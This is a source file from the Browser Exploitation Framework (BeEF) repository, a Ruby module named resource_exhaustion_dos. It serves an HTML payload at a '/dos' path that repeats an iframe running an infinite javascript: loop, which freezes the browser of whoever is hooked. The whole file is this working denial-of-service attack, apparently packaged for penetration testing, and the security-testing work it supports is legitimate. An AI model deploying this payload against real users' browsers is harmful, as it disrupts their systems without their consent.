Files
beef/modules/exploits/resource_exhaustion_dos/module.rb
jcrew99 486a9bb329 Update copyright 2023 (#2675)
* updated copyright

* reverted gemfile lock changes
2022-12-31 15:36:07 +10:00

26 lines
616 B
Ruby

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Resource_exhaustion_dos < BeEF::Core::Command
def self.options
[]
end
def pre_send
src = %q{<iframe src="javascript:while(true) window.location='';">}
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
'200',
{ 'Content-Type' => 'text/html' },
src * rand(10..19),
'/dos',
-1
)
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end